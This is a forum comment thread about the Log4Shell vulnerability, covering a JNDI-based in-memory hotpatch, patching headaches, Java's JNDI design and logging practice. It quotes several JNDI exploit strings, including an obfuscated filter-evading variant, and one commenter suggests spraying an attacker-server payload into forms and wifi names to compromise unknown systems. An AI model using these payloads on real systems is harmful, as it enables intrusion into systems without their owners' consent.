We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell)
I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep!
I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's close enough as-is to be informative to people, I think. Cheers, y'all!
I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary.
It sounds better to say "we are patched for the vulnerability" instead of "the vulnerability does not affect us." The ladder leaves a level of uncertainty. Not saying I agree with this methodology.
I used to have to deal with this at my previous job (including log4j).
We were rarely vulnerable to CVEs mentioned by end users or pinged by our own internal tooling, but that wasn't the point.
The customers (a large percentage of Fortune 500) would just get pinged by their security teams. The customer would come to us, we'd say "yes, a patch is on its way" or "we've researched it, we're not vulnerable, it's fine".
(Our particular bit of product only had Java command line tools, but you never know what customers would do with them and whether they'd end up somewhere in a chain where those command line tools could be, deep down, kicked off from some user input on a public facing webpage).
Also the problem is that "we've researched it, we're not vulnerable, it's fine" often isn't good enough for the customer's internal security team, and our customers would just get hassled by them each time a scan was run.
We'd also spend a disproportionate amount of support time responding to "what about CVE-2021-xxxxx?" and arguing the case, even if it is just copy-and-paste the same old response again and again, it's still toil.
So, quite often, the easiest solution was to say "we've researched it, we're not vulnerable, but we're patching it anyway".
The problem with this approach is that you slowly build up a considerable number of third party packages that need to be version bumped each time you do a new maintenance release, and that puts quite a load on QA departments, etc.
Anyway, don't do that kind of thing any more and I certainly don't miss it.
Reminds me of the advice to use two STOP statements in a Fortran program if you run it on a Cray. It's so fast that it could blow straight through the first one.
Whilst that is ridiculous if they're bringing in a new dependency, if I squint I can see the thought process. Transitive dependencies are far harder to be certain about. It took a few seconds to scan our company's entire code base for log4j2.
But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies.
Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use.
Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.
I just added a test case that importing org.apache.logging.log4j.core.lookup.JndiLookup throws a ClassNotFoundException. Any log4j2 class would work too.
I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo.
I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1].
In this case however the advantages might actually outweigh the risks as long as it is done carefully.
[1]: others mention services or servers that no one know how to restart anymore.
Because last time it happened you had 1.) to call in an old consultant/employee 2.) that you know is now unavailable.
The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.)
I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
This happens a lot in the real (non-computer) world, too.
There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries.
I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.
Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.
Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io instead)
It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though!
Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically.
The bigger problem is: You not only have to trust their good intentions now, but you also need to be able to trust them in the future, as long as the script is active. Additionally, you have to trust/hope that the patch security is absolutely waterproof and does not give RCE to attackers.
It is likely trivial to remove the jndi related classes from the package. That's what I did for similar network related third party software and so far without any trouble at all.
Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.
That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least.
I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options.
Indeed, I remember going though great lengths to keep the Solaris hosts up that I used to administer. The graybeards I worked with treated rebooting as last resort, like admitting defeat. It was a dirty word, only reserved for lesser operating systems like Windows 95, that needed rebooting often. There was an art to systems administration that seems to be lost now. Or maybe I am just looking back though rose colored glasses. :)
To be fair, it also used to take sometimes an hour+ to reinit a system.
All those SCSI busses had to be enumerated, all the RAM checked for error, ah, the old days...
We moved a lot of things from "that one server that's setup just-so by hand" to automated and repeatable setups. If we had more/ cheaper servers before, we'd likely get there earlier.
I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful.
Usually there is no universal way to find the latest version of internal documentation across teams, hence updating such documentation is barely worth the time. People notice the fact.
Not the OP, but I am a fan of leaving breadcrumbs everywhere. That is, every bit of documentation should point to other bits of documentation. Code comments point to the corporate wiki and vice versa, commit messages point to issues, issues refer to commit hashes, log messages might say who wrote a service, bespoke server and container images could have a README in /, internal DNS can have text records, etc.
We have to accept that we will sometimes play digital archaeologist. That's a good thing! It means that the technology we're studying was successful. So given that, it's better to have out of date documentation than zero documentation, so that we can pick up the trail somewhere.
In an org that named their servers after planets, we turned off "Mars" (which was actually completely and utterly undocumented) and discovered it was the bridge between the intranet and the internet. However, upon turning it back on... Nothing came up again.
There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - dozens of interconnected services). We ended up taking the phone off the hook because we kept getting calls of "is it fixed yet?"
The story with Mars is quite a bit more complicated than I've written, but we did scan it, and then try and isolate it, for a few weeks before we tried the restart. Let's just say there was a lot of redundancy that only broke once it couldn't ping at a very specific time.
This person gets it. As always if it’s a shit show, charge by the hour and get double time! If it’s easy charge by the job and spend two months getting paid to play solitaire!
I'm sure they mean well, but I'd highly recommend to every user to be very careful about using services like this.
Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors.
Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally.
While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code
Yeah, this should come with a note that this is intended for people with slow redeployment pipelines, to protect them until they can actually deploy a permanent fix.
It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell).
Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.
There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)
(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.
Maybe your opinion is unpopular for a reason. C and C++ has always suffered from the ability to corrupt some memory (like overrun a buffer) and jump into and start executing some user-provided arbitrary data. Perl/Python/Ruby/PHP and friends all have eval() which is even easier to exploit. Rust and maybe Go are much in this respect (because in most cases you need to deliberately mark a piece of code as unsafe before you'd be in too much trouble) but even then, the developer could always make a logic error and (for example) take a parameter from the user and use it to generate a filename and overwrite something on the system. And with this bug, the issue isn't something like a missing bounds check or off-by-one error, but a deliberate feature that someone wrote to work this way (yes there were some interactions they probably didn't think about, but it's obvious to everyone that it's never okay to decide the format string in the log message itself, that should be part of your static configuration).
The difference is that being pwned by a random memory corruption, while unfortunate, is an unintended feature. This on the other hand provides a deliberate, standardized and convenient way to allow anyone to download *any* arbitrary code into a running JVM. This is something that it is NEVER ok, not in any form or fashion, not even your own network unless you enable some huge debug flag, and it's WAY worse than eval().
This whole thing exists because Java has basically kept around a way of pulling off something akin to
wget -O - someurl | sh
but with extra steps for more than 20 years. This is absolutely insane even from a '90s perspective, the whole idea is broken and it absolutely bewilders me that `com.sun.jndi.ldap.object.trustURLCodebase` was only set to false by default in 2018. This is utter rubbish; support for arbitrary URL codebases should have been canned decades ago, not 3 years ago.
The fact that JNDI can pull random code from a server like that is absolutely nonsensical trash, no matter how one spins it.
Edit: Apparently `literal_eval` isn't so dangerous -- but one could replace it with `eval()`. /Edit
But you didn't start writing "absolutely insane" about Python ... Or maybe Python too is insane? And there should be a separate Python executable, with eval included?
What if Python shipped 2 executables?
python # there's no eval()
python-with-eval # danger! now you can use eval()
(And Java as well: `java` couldn't load any code dynamically, but `java-danger-dyn-code` could?)
The situation you describe is arguably different, if you eval() code you just fetched from an HTTP server you are deliberately, knowingly doing something very dangerous and it's only your fault. You are the one loading and cocking the gun.
By the way, you can do the same thing everywhere, nothing stops you from doing
in C and allow the world to pwn you. What is arguable here is that in this case it is definitely not the language or the system's fault if their users are so dumb to invent a creative way to abuse a facility intended for a different use.
Viceversa, the JRE includes and standardizes facilities to potentially download and execute code without any reasonable sandboxing by default, out of the box, in the standard install. It's as if Python had mandated by standard to check if the data passed to `eval()` is an HTTP URL in order to download and eval() whatever resides at that address. It's not the same by any margin. One thing is to shoot yourself in the foot by mistake , one other is to have in your toolbox a device that by design chops your feet off. The thing that bewilders me is that the whole "let's download untrusted .class files from the Internet" thing was a deliberate design choice and it took people 25 years to realize how idiotic it was. There's a whole sea of difference between that and what you've described.
There's a difference between providing a way to call the interpreter and giving people a convenient way to download code and execute it. No matter how you spin it, it's basically the same as standardizing `curl | sh`.
PS: eval() is also very bad per se, and IMHO it's a dangerous feature when used outside of a REPL or a debug environment. The fact that others already have bad features or are doing dubious things doesn't give you a free pass for doing them yourself. It never does, it's like saying that committing a crime is OK as long as everyone else does the same.
The "poor idea" in the 90s was that developers were going to read specifications. Sun Micro specially suffered from this. Thus the "clusterfuck" of JRE, for example, offered something called a Security Manager, but it was "insane" to think commodity IT developers would use it ("wat's dat!?")
The fact that people don't read or use your specifications should ring a bell in someone's ears. I shouldn't have to care about the Security Manager unless I'm writing an app that might do stuff that covers its use cases. It makes no sense that JNDI is usable and loadable by Minecraft, it's just a dangerous API.
It's simple, you simply implement some sort of code signing feature, or you only let people run arbitrary code in a sandbox or some sort of similarly limited environment. Letting people load code from a remote source into the same address space of a running program containing potentially sensitive data is intrinsically bad.
In fairness, Java has had capabilities to only let signed code run since its early days (it was fundamental for stuff like Applets or RMI), but like the rest of Java the whole specification is over engineered and quite complicate so nobody bothers with it. There are just too many old features lying around in the JRE that should be off by default. Like they shouldn't be possible to use unless you explicitly configure your environment to enable them. 99.999% of apps do not need and will never care about JNDI, and having it just lying around doing nothing just pointlessly increases the surface attack of your application for no good reason.
Have a look at the forced restarts of Windows due to updates having become a well-hated meme to see how lucky you'll be in explaining that to the users.
Plug-ins should be sandboxed anyway. Which means they shouldn’t be random Java classes with the same blast radius as your main application. And if you’ve done that right you’ve got a VM that can be restarted without having to restart the parent application.
I think it's a perfectly OK idea, as long as you control the servers you are trying to access via this feature. The problem is about not sanitizing user inputs. You can achieve the same by forking a process whose file path is controlled by user input. Does it mean allowing a program to fork processes is also insane?
Do you want Java to do deep packet inspection on all network traffic?
Because Java supports naked sockets [1], so that is what you would have to do to block the network traffic from containing .class files.
(Or remove the capability of real networking. I suppose we can agree that a language which doesn't support networking is quite limited in its use nowadays?)
I don't have a 100% settled opinion about what the JVM design should look like, so I'm not fully aggreeing with the parent poster. However, I don't think you're being fair to the spirit of the complaint. There's a difference between two scenarios:
1. You can write a raw socket, pull a class file, put it in the right place, and load it using classloaders (assuming they don't want to abolish dynamic class-loading)
and
2. The language has a conventional way of loading arbitrary classes over the network using the standard library.
Any turing complete language can download and execute code. Even if the language doesn't support it natively, you can write an interpreter that acts on some code/bytecode. However, some languages support hot-loading code over the network in a straightforward way, while others force you to do all the work yourself (with attendant limitations). In effect, those languages require you to take the gun, check that it is loaded, and very carefully point it at your own foot.
We spent a few hours writing this today due to the sh*tstorm that's hit the internet since this 2nd CVE was posted up. It took us some time to do a security analysis of it and to publish our findings.
If you've patched against Log4Shell, please read this to make sure you're not still vulnerable to this 2nd CVE. In some cases, you're still vulnerable depending on how you patched.
In response to this, Apache published log4j 2.16.0 to mitigate the bugs in prior versions (including 2.15.0, the release that was supposed to mitigate Log4Shell initially)
Probably best to patch it anyway, some customer with a report from a dumbass jar scanning tool will moan continuously if you don’t whether you’re vulnerable or not.
> How many end users of a logging framework would even need JNDI functionality
Serious question: Suppose you need to replace user ids with user names in your Java program logs, instead of writing LDAP lookups around every log line everywhere, you have to put it in some module no? How about wrap the logging framework?
translate it to a username once when the thread is issued from the pool (or in a pre-receive spring interceptor/JaveEE request filter) and set it into a MDC value, then just print the MDC value. Calling an external service for every single log message written is still, itself, insane from a performance sense. Not every call need necessarily be written but still, yikes, that's a lot of API calls, even if the LDAP is still machine-local that's a lot of latency for every request.
of course the fun bit from the 2nd vulnerability is that the MDC implementation could still get at JDNI because it was doing a second layer of formatting, so doing this opened you up to JDNI attacks again - but that is the technically-correct answer for how you do that in a logging framework imo. You don't do it on-demand in a filter, you do it once per thread/request when the thread is issued or the request is received and put the result into MDC. If "ownership" of the thread changes, then clear and update the MDC again.
The real problematic one that log4j2's JNDI support was originally implemented to solve, was "I have multiple WARs inside an application server, how do I know which one this log message came from" and that one is a bit tricker to answer generically. I think the lazy answer there would be to hardcode the application name into the logfile - just because it can be generated on the fly, doesn't mean it has to be, you can have a pattern that is like "[%d][myService][%level%]..." and myService is just a literal in the pattern. You can also get it programmatically from Spring or the JavaEE API itself somehow (don't know that one off the top of my head but I'm sure there's a way), and put it into MDC like other values... or put it in a service.properties file that also lists the service API version/etc (along with the short git commit and git commit time from git.properties built by gradle-git-properties, these are questions that people often end up asking when troubleshooting a service).
The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions.
I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a back seat to having to re-read and re-evaluate things multiple times per day, and communicate a lot more than usual to assuage people's nerves.
It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor.
The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is:
Central IT: Are we vulnerable in system X?
System owner: writes vendor
Vendor: No we are not vulnerable to that CVE, we are using Log4J V1
System owner: … the one that’s eol 2015, and has a bunch of other CVE’s including another RCE?
Vendor: yes
System owner:Are you going to issue an upgrade?
Vendor: No, we are not vulnerable to the latest CVE on V2 so we will not.
System vendor to central IT: They are using log4j V1, so not affected by the latest CVE, but we are vulnerable to other CVEs including RCE.
Central IT: Perfect, we’ll mark it down as no issues then, the Issue handling only covers the latest CVE.
One of the exploits in log4jv1 is known about and acts like that. How many aren't known about but have cropped up in the last 6 years and quietly been exploited.
Large orgs make their employees feel like they don't matter, and eventually the feeling is reciprocal. It's insane to expect anyone in a 1000+ person org to go "above and beyond" their fairly regimented and supervised responsibilities.
I'm not advocating for that attitude, it's just what I've observed.
It has it's downside too. At somepoint, everyone gets tired of asking for updates and waiting. People go back to "normal", and some things remain vuln.
I just saw a fun user-agent string in my (not log4j!) logs. In case anyone thought they could buy themselves some time with a naive filter on the string "${jndi" in front of your app or something, enjoy the user-agent string beginning:
Which I assume is a form of escaping/embedding which will work on at least some log4j's, although that's just an assumption I'm making seeing this in my logs, I'm not familiar with the details.
I could have seen myself, not really a security person, thinking a filter on `jndi` would work too...
I have a feeling this vulnerability is going to be with us for years. Shameless plug: I built a tool that assists in detecting whether you're vulnerable to this or the previous CVE: https://log4shell.tools. Just enter the JNDI URI it gives you anywhere you suspect it ends up causing a message lookup in log4j. If log4j does so much as a DNS lookup, this tool will tell you about it.
I thought I was in the clear, then I remembered we have a small java binary that handles conversion of PDF to images. Turns out, Apache PdfBox depends on Log4j and can be compromised by feeding any malicious PDF into it.
How many products use PdfBox right now? This github POC link is not even an hour old...
- The `PDFBox` documentation points out that `log4j` is not needed (though `commons-logging` is) and that logging will "fall back to the standard java.util.logging API included in the Java platform"
https://pdfbox.apache.org/2.0/dependencies.html#minimum-requ...
So, for others out there that find this: just because you're using `PDFBox` does not necessarily mean that you are also using `log4j`, and therefore likely vulnerable to this latest issue.
I suspected something like this was afoot when I was reading through the manifest files. I don't get paid to write Java, so I wasn't sure if there was some other fantastical edge case that could cause an optional dependency to get loaded dynamically for whatever reason (I certainly couldn't have predicted this log4j fun).
Regardless, we are still going to have to remove this because our customers are now on a warpath. Reasonable arguments and nuanced proposals are not going to be feasible for this one. For us, the situation has quickly evolved into "remove 100% of java dependencies from the solution stack". Our customers are super paranoid, but we can't really blame them this time. When the CTO of a bank can understand the exact mechanism that compromises their systems (because it is so trivial to pull off), things are a lot more painful to negotiate.
This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).
Too much fun to think about the ways to get hits. All it takes is a simple string.
Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes.
Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits.
...and you can assume that for every case you hear of, there are at least 50 that you didn't hear of, because if you do end up logging passwords, it's something you're likely to want to keep under wraps if possible.
I knew it was definitely more than once. If it gets done at places like FB & G, then you know other smaller places are doing/have done it as well. They just didn't make the news, nor know it isn't a bad thing.
I mean, what if we have to troubleshoot an issue that is due to, say, the character encoding of such password? We need to see it, right?
(yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...)
(I'm not condoning this, just saying that it can look sensible at the time)
No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up for yourself, for your fellow devs, for 'all humankind' and tell that PM making the request to pound sand (politely). If still pushed, go report them to the next rung up. "Because orders" is not a valid excuse.
One of the random thoughts I had was that I’m sure there’s going to be plenty of clever ways to obfuscate the jndi payload, sort of how you can ping an IP address in octal, an integer, or hex:
Yes, this is something that's been lost in the all the loud speaker noise.
Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most Log4j 2.x usage today. That's the history as I see it.
Had most developers not done Log4j 1.x -> SLF4J and instead waited for Log4j 2.x this problem would be much worse than it is; a vast number of small, neglected services would have had to be fixed. The thought that I'm having is now that the power of compromising these logging frameworks has been demonstrated the ransomware crews are going to look very hard at them and find more large holes.
Be aware that using SLF4J does NOT mean you're not using log4j (1 or 2). SLF4J, as it names implies (Simple Logging Facade) is a logging facade, so your code is not tied to a specific logging implementation, like log4j. But it does not do the actual logging, and you have to use some implementation, which can be (and quite often is) log4j.
However, it is right that log4j2 is not as ubiquitous as log4j1. Spring Boot, while using SLF4J, defaults to "logback", if I'm not wrong, which is another logging framework similar to log4j, but not affected with this kind of vulnerabilities.
Yes, it is possible to use log4j-core as the backend for SLF4J. The vast majority of the time, especially in small, bespoke services, the backend is logback.
I'm reminded of something Al Viro said long ago about the Linux kernel[1]
"Yes. So's sysfs, so's udev, so's hal, so's any number of revolting
strings of intertwined copulating tapeworms hanging off the kernel's arse."
It's in a whole stack of Salesforce and GIS products based on the Sales force update page and some of our spatial vendors emails. That alone means a great many large and medium companies and large government departments around the world have v2 available in some way on a piece of infrastructure somewhere.
Yeah, I'd expect to see it in that kind of giant-enterprise-framework system. But hopefully not so much in the kind of embedded app that might be running unnoticed without updates. Maybe that's wishful thinking.
I wouldn't be surprised if log4j 1.x is also vulnerable in many fun ways and that bad actors would be more willing to poke around log4j 1.x now in order to figure out new vulnerabilities to exploit.
Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here:
https://github.com/lunasec-io/lunasec/issues/301
This is less than helpful if people use this and then believe they are safe.
I had to deal with the opposite problem this week. My company uses Qualys for our vulnerability management stuff and after our security guys ran their scans throughout the network over the weekend we had a bunch of false positives. Seems that they were alerting on log4j-api in addition to log4j-core (only log4j-core is impacted per Apache). Looks like Qualys fixed it on Monday though so this shouldn't be a problem going forward if anyone else uses them.
We'll get on this tomorrow to help make this right. It's hard work dealing with all of the complexity that comes from parsing and patching Java packages! (that's part of the reason we wrote our exploit payload to patch a running Java service in-memory -- it was actually more straightforward than this tool. >.<)
Why is this so hard? It should be very easy to fix this. Set the correct version in the pom.xml. Commit and push to master and deploy. right? easy. It should be a half an hour thing. But at my employer, we still have dozens of teams struggling.
Two reasons:
- Branching hell.- Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Continuous integration is about integrating several times a day. David Farley frequently talks about this. https://www.youtube.com/watch?v=Xl62gQpAl1w
- Microservices hell. - The advantage of microservices is that teams can deploy independently of each other. But many companies ended up with way too many of them. We have a few hundred. I suspect, many of them abandon. Their teams already moved to new things and noone knows how to deploy them. They haven't been deployed in a long time.
You're worried about patching the system that you're developing and releasing. Most people aren't doing that. Most people are patching systems they bought from some other guy. Indeed, they're scanning and patching dozens of systems they bought from a dozen other guys, each of whom sourced libraries from other guys, who sourced things from still other guys. Somewhere way down at the bottom of the vendor chain is Log4j.
For example, we operate an information system we bought from a nationwide vendor. The primary application is not vulnerable. The admin interface is not vulnerable. The secondary application is not vulnerable. However, there's a reporting system from a third party that was provided to us. That is vulnerable. Now we have to wait for the third party to patch so that the vendor can patch so that we can patch.
Plus there's all the other things you find that are clearly stupid, but aren't immediately important. Like this:
Plus, older systems may have multiple applications deployed to the same Servlet container (e.g., Tomcat server), even if only one app uses log4j, upgrading it may require updates to transitive shared dependencies that can break "non-affected" apps. Given the prevalence of such Java apps, fixing this is likely to take a long time. Mitigating with firewall rules is a good first step for now.
> Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Continuous integration is about integrating several times a day. David Farley frequently talks about this. https://www.youtube.com/watch?v=Xl62gQpAl1w
Preach. As a consultant, I have been trying to implement continuous integration in a team and it has been so hard to convince project owners that delivering frequently and continuously to production behind feature flags is a net gain over accumulating "features" in dozens of branches that get outdated, poorly documented and even forgotten.
Some days the team crawls to snail pace trying to pick arbitrary branches to merge into integration branch. Then it takes days to be tested, adjusted, approved and merged into master. The process is so convoluted and cognitively loaded that it has been a major source of bugs.
They need better tests and continuous integration to become nimble.
Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.
As I understood, your policy blocks LDAP port (389). All of the scanning I see in logs at the moment use port 80:
"${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
The notion of simplicity is really lost even among really good developers. People equate heavy abstractions that provide out of the box features or one line invocations as offering something simple, but that couldn't be farther from the truth. Reusable, composable modules is the way to build complex software. In this instance, a logging module should have absolutely nothing to do with remote lookups. If you want to tie remote lookup with your logging, add a decorator module on top of your logging module that can do it. Letting this complexity leak to the other 99% of users who will never use this is just madness.
I'd argue it's more a symptom of the Java ecosystem than anything, and probably a lot more to come. From my brief tenure with it, it seemed to be 'add everything, deprecate nothing'. I remember when writing my first Java code from reference, it all worked, then my coworkers grilled me for using some -builtin- libraries because 'nobody uses that anymore.'
That, and Java does everything their own way. From bouncycastle crypto to db connectors to freakin JKS, it was very much NIH all the way down to an outsider. I actually worked for a time where half my job was converting JKS to PEM for customers.
Java isn't all bad, but could have used much stronger and much more conservative governance.
To be fair, Java existed before a lot of modern standards and its primary goals were to be fully object-oriented (because every project manager was convinced that this was the best approach at the time) and cross-platform, so they kind of HAD to rewrite everything. Everything needed a Java-friendly OO interface and had to run on the JVM on a bunch of different platforms spanning everything from Solaris servers to embedded devices.
In hindsight it’s easy to say that this was an overly ambitious project with vague goals but it made sense in 1995 when technology was revolutionizing everything and creating new domains and markets.
Agreed 100%. As a person who writes Go daily, I appreciate that they conformed to well established standards. The crypto is redone in Go which is a little scary, but the author is among the best in the business so I generally trust it.
I think that’s a separate point. It does include a template language because Go is “batteries included”.
You can write productive stuff without having to import any third party packages at all. Everything you need is properly supported by the core team and written to the same standard.
I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.
I like structured logging but structured logging takes you away from a domain-specific language. Instead of log.Infof("fooed the bar: %v, baz=%v", msg, baz), you'd be writing log.Info("fooed the bar", zap.String("msg", msg), zap.Int("baz", baz)).
The attack surface is pretty low here, even though you're doing more than just printing to a file. There is no code injection because there is no programming language going on behind the scenes. (Of course, nothing is preventing you from writing a formatting function that compiles and runs a binary built from the log message. So you aren't intrinsically safe from stupid stuff.)
There is a difference between structured log and something that interprets these logs to create shells down the stack, inside a log library...
Nobody is questioning the benefits of structured logs here. The log library itself shouldn't be interpreting these logs. It's like a HTTP framework... triggering a printer, why the hell would it be doing that by default?
Seems to me that Log4j is doing to many things, including things it shouldn't be concerned with, as a log library.
> Nobody is questioning the benefits of structured logs here.
The guy I replied to was literally saying we should only log plain text and that doing anything more complicated is "emblematic of the crisis the industry is in".
Structured logging is great, but it's vital to keep them structured all the way through. Having an API where you pass a string and then something on the other side tries to parse that string back into structured data is a recipe for disaster.
GP's point was broader than log4j. It's that we're all building our own spaghetti using a collection of libraries and frameworks all built with their own spaghetti.
By the time software gets to the SaaS end user, it's giant rope-sized spaghetti noodles knit together with spaghetti thread spun from spaghetti fibers.
Yep. As long as our capacity to build, maintain, tune and secure our systems depends on our ability to understand the entire pot of spaghetti - we're in trouble.
Security is the worst because most of our systems are only secure if every single line of running code is secure. In the face of exponentially increasing system complexity, this is a race we will always inevitably lose.
According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered:
String apiVersion = he.getRequestHeader("X-Api-Version");
// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);
But what is the bug in log4j that caused the vulnerability?
> By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol.
So that's where the LDAP portion comes from.
This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going.
Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details)
I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at.
This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome.
I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis)
1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how to configure it. That class needs to be on the server already. One hard problem might be a hash map with initial size of 2^64 -1, which will throw an OOM, which is hard to deal with, and most people don't bother. another might be awt Window or JFrame, so your server process is trying to load up all of X, which probably isn't installed and will generate a lot of weird errors or crash, unless you've had to be pretty wiley to get around or deal with those in the past. There may be a default RCE out there. I don't see an obvious way to make ProcessBuilder do anything too scary, but the std library is huge. There certainly could be something. I haven't really thought through InvocationHandler, but it seems like it has potential.
2. JNDI support for LDAP comes with java, but JNDI is sorta like JDBC, you can plug in whatever random directory service you want. I do not know, but I suspect there are bindings for CORBA or lotus Domino or ActiveDirectory or COM+ or whatever random, crazy, 20 year old binary is still laying around out there.
Actually, I have a third tangential thing. This chain of vectors makes me worry about XML processing and what common libraries do with .xsl, .wsdl, .uddi, and whatever other crazy thing seemed like a good idea back in the day that has been faithfully preserved because change is hard and scary.
The problem is lots of frameworks come with some pretty vulnerable classes. There are lists of 'serialization gadgets' for some potentially exploitable things if you can trigger a JVM to deserialize untrusted input.
